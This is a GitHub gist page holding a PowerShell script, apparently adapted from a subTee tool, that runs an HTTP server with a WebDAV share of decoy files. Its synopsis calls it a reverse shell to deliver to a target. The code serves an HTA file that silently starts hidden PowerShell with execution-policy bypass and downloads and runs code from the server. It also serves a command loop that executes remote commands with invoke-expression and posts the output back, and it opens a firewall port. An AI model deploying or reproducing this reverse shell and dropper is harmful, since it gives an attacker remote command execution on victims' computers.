Created
December 21, 2025 18:07
-
-
Save secdev02/0858657e8b92de1eeb3ce4c88cfee479 to your computer and use it in GitHub Desktop.
Minimalist - PowerShell WebDAV - Decoy Share
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <# | |
| Obtained from https://github.com/re4lity/subTee-gits-backups/blob/master/JEWebDav.ps1 | |
| #> | |
| <# | |
| .SYNOPSIS | |
| Simple Reverse Shell over HTTP. Deliver the link to the target and wait for connectback. | |
| Read And Write Files Over WebDAV Proof Of Concept | |
| .PARAMETER Server | |
| Listening Server IP Address | |
| #> | |
| <# | |
| _created by _subtee | |
| #> | |
| $Server = '127.0.0.1' #Listening IP. Change This. | |
| $webDAVFolder = 'c:\Xfer' | |
| # Fake file list - Server will pretend these files exist | |
| $fakeFiles = @( | |
| @{Name='document.pdf'; Size=245678; Content=[byte[]](1..100)}, | |
| @{Name='report.docx'; Size=123456; Content=[byte[]](1..100)}, | |
| @{Name='data.xlsx'; Size=456789; Content=[byte[]](1..100)}, | |
| @{Name='presentation.pptx'; Size=987654; Content=[byte[]](1..100)}, | |
| @{Name='notes.txt'; Size=12345; Content=[byte[]](1..100)} | |
| ) | |
| <# | |
| $net = new-object -ComObject WScript.Network | |
| $net.MapNetworkDrive("r:", "\\127.0.0.1\drive", $true, "domain\user", "password") | |
| #> | |
| #Begin WEBDAV Just Enough WebDAV to allow you to map drive to get a binary back to host:) | |
| $webDAVPROPFINDResponse = '<?xml version="1.0" encoding="utf-8"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>http://'+ $Server +'/</D:href><D:propstat><D:status>HTTP/1.1 200 OK</D:status><D:prop><D:getcontenttype/><D:getlastmodified>Thu, 07 Aug 2014 16:33:21 GMT</D:getlastmodified><D:lockdiscovery/><D:ishidden>0</D:ishidden><D:supportedlock><D:lockentry><D:lockscope><D:exclusive/></D:lockscope><D:locktype><D:write/></D:locktype></D:lockentry><D:lockentry><D:lockscope><D:shared/></D:lockscope><D:locktype><D:write/></D:locktype></D:lockentry></D:supportedlock><D:getetag/><D:displayname>/</D:displayname><D:getcontentlanguage/><D:getcontentlength>0</D:getcontentlength><D:iscollection>1</D:iscollection><D:creationdate>2014-05-27T19:01:44.48Z</D:creationdate><D:resourcetype><D:collection/></D:resourcetype></D:prop></D:propstat></D:response></D:multistatus>' | |
| $webDAVPROPPATCHResponse = '<?xml version="1.0"?><a:multistatus xmlns:b="urn:schemas-microsoft-com:office:office" xmlns:a="DAV:"><a:response><a:href>'+ $Server + '/drive/</a:href><a:propstat><a:status>HTTP/1.1 200 OK</a:status><a:prop><b:Author/></a:prop></a:propstat></a:response></a:multistatus>' | |
| #End WEBDAV | |
| function Receive-Request { | |
| param( | |
| $Request | |
| ) | |
| $output = "" | |
| $size = $Request.ContentLength64 + 1 | |
| $buffer = New-Object byte[] $size | |
| do { | |
| $count = $Request.InputStream.Read($buffer, 0, $size) | |
| $output += $Request.ContentEncoding.GetString($buffer, 0, $count) | |
| } until($count -lt $size) | |
| $Request.InputStream.Close() | |
| write-host $output | |
| } | |
| $listener = New-Object System.Net.HttpListener | |
| $listener.Prefixes.Add('http://+:80/') | |
| netsh advfirewall firewall delete rule name="PoshTest 80" | Out-Null | |
| netsh advfirewall firewall add rule name="PoshTest 80" dir=in action=allow protocol=TCP localport=80 | Out-Null | |
| $listener.Start() | |
| 'Listening ...' | |
| while ($true) { | |
| $context = $listener.GetContext() # blocks until request is received | |
| $request = $context.Request | |
| $response = $context.Response | |
| $hostip = $request.RemoteEndPoint | |
| #Use this for One-Liner Start | |
| if ($request.Url -match '/connect$' -and ($request.HttpMethod -eq "GET")) { | |
| write-host "Host Connected" -fore Cyan | |
| $message = ' | |
| $s = "http://' + $Server + '/rat" | |
| $w = New-Object Net.WebClient | |
| while($true) | |
| { | |
| $r = $w.DownloadString("$s") | |
| while($r) { | |
| $o = invoke-expression $r | out-string | |
| $w.UploadString("$s", $o) | |
| break | |
| } | |
| } | |
| ' | |
| } | |
| if ($request.Url -match '/rat$' -and ($request.HttpMethod -eq "POST") ) { | |
| Receive-Request($request) | |
| } | |
| if ($request.Url -match '/rat$' -and ($request.HttpMethod -eq "GET")) { | |
| $response.ContentType = 'text/plain' | |
| $message = Read-Host "PS " + $hostip + ">" | |
| } | |
| if ($request.Url -match '/app.hta$' -and ($request.HttpMethod -eq "GET")) { | |
| $enc = [system.Text.Encoding]::UTF8 | |
| $response.ContentType = 'application/hta' | |
| $htacode = '<html> | |
| <head> | |
| <script> | |
| var c = "cmd.exe /c powershell.exe -w hidden -ep bypass -c \"\"IEX ((new-object net.webclient).downloadstring(''http://'` | |
| + $Server + '/connect''))\"\"";' + | |
| 'new ActiveXObject(''WScript.Shell'').Run(c); | |
| </script> | |
| </head> | |
| <body> | |
| <script>self.close();</script> | |
| </body> | |
| </html>' | |
| $buffer = $enc.GetBytes($htacode) | |
| $response.ContentLength64 = $buffer.length | |
| $output = $response.OutputStream | |
| $output.Write($buffer, 0, $buffer.length) | |
| $output.Close() | |
| continue | |
| } | |
| if (($request.Url -match '/drive$') -and ($request.HttpMethod -eq "OPTIONS") ){ | |
| $response.AddHeader("Allow","OPTIONS, GET, PROPFIND, PUT") | |
| $response.Close() | |
| continue | |
| } | |
| if (($request.Url -match '/drive$') -and ($request.HttpMethod -eq "PROPFIND") ) { | |
| Write-Host "[PROPFIND] Client requesting file list from /drive" -ForegroundColor Yellow | |
| $response.AddHeader("Allow","OPTIONS, GET, PROPFIND, PUT") | |
| # Build response with fake file list | |
| $fileEntries = "" | |
| foreach ($fakeFile in $fakeFiles) { | |
| $fileEntry = '<D:response><D:href>http://' + $Server + '/drive/' + $fakeFile.Name + '</D:href><D:propstat><D:status>HTTP/1.1 200 OK</D:status><D:prop><D:getcontenttype>application/octet-stream</D:getcontenttype><D:getlastmodified>Thu, 11 Jun 2015 05:20:18 GMT</D:getlastmodified><D:lockdiscovery/><D:ishidden>0</D:ishidden><D:supportedlock><D:lockentry><D:lockscope><D:exclusive/></D:lockscope><D:locktype><D:write/></D:locktype></D:lockentry><D:lockentry><D:lockscope><D:shared/></D:lockscope><D:locktype><D:write/></D:locktype></D:lockentry></D:supportedlock><D:getetag/><D:displayname>' + $fakeFile.Name + '</D:displayname><D:getcontentlanguage/><D:getcontentlength>' + $fakeFile.Size + '</D:getcontentlength><D:iscollection>0</D:iscollection><D:creationdate>2014-05-27T19:36:39.240Z</D:creationdate><D:resourcetype/></D:prop></D:propstat></D:response>' | |
| $fileEntries += $fileEntry | |
| } | |
| $message = '<?xml version="1.0" encoding="utf-8"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>http://' + $Server + '/drive/</D:href><D:propstat><D:status>HTTP/1.1 200 OK</D:status><D:prop><D:getcontenttype/><D:getlastmodified>Thu, 07 Aug 2014 16:33:21 GMT</D:getlastmodified><D:lockdiscovery/><D:ishidden>0</D:ishidden><D:supportedlock><D:lockentry><D:lockscope><D:exclusive/></D:lockscope><D:locktype><D:write/></D:locktype></D:lockentry><D:lockentry><D:lockscope><D:shared/></D:lockscope><D:locktype><D:write/></D:locktype></D:lockentry></D:supportedlock><D:getetag/><D:displayname>/</D:displayname><D:getcontentlanguage/><D:getcontentlength>0</D:getcontentlength><D:iscollection>1</D:iscollection><D:creationdate>2014-05-27T19:01:44.48Z</D:creationdate><D:resourcetype><D:collection/></D:resourcetype></D:prop></D:propstat></D:response>' + $fileEntries + '</D:multistatus>' | |
| } | |
| if (($request.Url -match '/drive$') -and ($request.HttpMethod -eq "PROPPATCH") ) { | |
| $message = $webDAVPROPPATCHResponse | |
| } | |
| if (($request.HttpMethod -eq "LOCK") -or ($request.HttpMethod -eq "UNLOCK")) { | |
| $Uri = $request.Url | |
| $RequestedFileName = $Uri.Segments[-1] | |
| $webDAVLOCKResponse = '<?xml version="1.0" encoding="utf-8" ?><d:prop xmlns:d="DAV:"> <d:lockdiscovery> <d:activelock><d:locktype><d:write/></d:locktype><d:lockscope><d:exclusive/></d:lockscope><d:depth>Infinity</d:depth><d:owner> <d:href>'+$Server+'/drive/'+ $RequestedFileName+'</d:href></d:owner><d:timeout>Second-345600</d:timeout><d:locktoken> <d:href>opaquelocktoken:e71d4fae-5dec-22df-fea5-00a0c93bd5eb1</d:href></d:locktoken> </d:activelock> </d:lockdiscovery></d:prop>' | |
| $message = $webDAVLOCKResponse | |
| } | |
| if ($request.HttpMethod -eq "PUT") { | |
| $ms = New-Object System.IO.MemoryStream | |
| [byte[]] $buffer = New-Object byte[] 65536 | |
| [int] $bytesRead | Out-Null | |
| $Stream = $request.InputStream | |
| do | |
| { | |
| $bytesRead = $Stream.Read($buffer, 0, $buffer.Length) | |
| $ms.Write($buffer, 0, $bytesRead) | |
| } while ( $bytesRead -ne 0) | |
| $Uri = $request.Url | |
| $ReceivedFileName = $Uri.Segments[-1] | |
| Write-Host "[UPLOAD] Client uploading file: " $ReceivedFileName -Fore Cyan | |
| Write-Host "[UPLOAD] Source IP: " $hostip -Fore Cyan | |
| [byte[]] $Content = $ms.ToArray() | |
| $savePath = $webDAVFolder + '\' + $ReceivedFileName | |
| Set-Content -Path $savePath -Value $Content -Encoding Byte | Out-Null | |
| $response.Close() | |
| continue | |
| } | |
| if ($request.Url -match '/drive/' -and ($request.HttpMethod -eq "PROPFIND") ){ | |
| $Uri = $request.Url | |
| $RequestedFileName = $Uri.Segments[-1] | |
| Write-Host "[PROPFIND] Client requesting properties for file: " $RequestedFileName -ForegroundColor Yellow | |
| Write-Host "[PROPFIND] Source IP: " $hostip -ForegroundColor Yellow | |
| # Find the fake file | |
| $fakeFile = $fakeFiles | Where-Object { $_.Name -eq $RequestedFileName } | |
| if ($fakeFile) { | |
| $fileSize = $fakeFile.Size | |
| Write-Host "[PROPFIND] Serving fake file properties (Size: " $fileSize " bytes)" -ForegroundColor Green | |
| } else { | |
| # Fall back to real file if it exists | |
| if (Test-Path ($webDAVFolder + '\' + $RequestedFileName)) { | |
| [byte[]] $buffer = [System.IO.File]::ReadAllBytes($webDAVFolder + '\' + $RequestedFileName) | |
| $fileSize = $buffer.Length | |
| } else { | |
| $fileSize = 0 | |
| } | |
| } | |
| $webDAVXFERResponse = '<?xml version="1.0" encoding="utf-8"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>http://'+$Server+'/drive/</D:href><D:propstat><D:status>HTTP/1.1 200 OK</D:status><D:prop><D:getcontenttype>application/octet-stream</D:getcontenttype><D:getlastmodified>Thu, 11 Jun 2015 05:20:18 GMT</D:getlastmodified><D:lockdiscovery/><D:ishidden>0</D:ishidden><D:supportedlock><D:lockentry><D:lockscope><D:exclusive/></D:lockscope><D:locktype><D:write/></D:locktype></D:lockentry><D:lockentry><D:lockscope><D:shared/></D:lockscope><D:locktype><D:write/></D:locktype></D:lockentry></D:supportedlock><D:getetag>"3d6f834e6a4d01:0"</D:getetag><D:displayname>'+$RequestedFileName+'</D:displayname><D:getcontentlanguage/><D:getcontentlength>'+ $fileSize +'</D:getcontentlength><D:iscollection>0</D:iscollection><D:creationdate>2014-05-27T19:36:39.240Z</D:creationdate><D:resourcetype/></D:prop></D:propstat></D:response></D:multistatus>' | |
| $message = $webDAVXFERResponse | |
| } | |
| if ($request.Url -match '/drive/' -and ($request.HttpMethod -eq "GET") ){ | |
| $Uri = $request.Url | |
| $RequestedFileName = $Uri.Segments[-1] | |
| Write-Host "[DOWNLOAD/COPY] Client attempting to open/copy file: " $RequestedFileName -ForegroundColor Magenta | |
| Write-Host "[DOWNLOAD/COPY] Source IP: " $hostip -ForegroundColor Magenta | |
| Write-Host "[DOWNLOAD/COPY] Timestamp: " (Get-Date) -ForegroundColor Magenta | |
| # Check if this is a fake file | |
| $fakeFile = $fakeFiles | Where-Object { $_.Name -eq $RequestedFileName } | |
| if ($fakeFile) { | |
| Write-Host "[DOWNLOAD/COPY] Serving FAKE file content" -ForegroundColor Red | |
| [byte[]] $buffer = $fakeFile.Content | |
| } else { | |
| # Serve real file if it exists | |
| $filePath = $webDAVFolder + '\' + $RequestedFileName | |
| if (Test-Path $filePath) { | |
| Write-Host "[DOWNLOAD/COPY] Serving REAL file from disk" -ForegroundColor Green | |
| [byte[]] $buffer = [System.IO.File]::ReadAllBytes($filePath) | |
| } else { | |
| Write-Host "[DOWNLOAD/COPY] ERROR - File not found!" -ForegroundColor Red | |
| [byte[]] $buffer = [byte[]](0) | |
| } | |
| } | |
| $response.ContentType = 'application/octet-stream' | |
| $response.ContentLength64 = $buffer.length | |
| $output = $response.OutputStream | |
| $output.Write($buffer, 0, $buffer.length) | |
| $output.Close() | |
| continue | |
| } | |
| [byte[]] $buffer = [System.Text.Encoding]::UTF8.GetBytes($message) | |
| $response.ContentLength64 = $buffer.length | |
| $output = $response.OutputStream | |
| $output.Write($buffer, 0, $buffer.length) | |
| $output.Close() | |
| } | |
| $listener.Stop() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment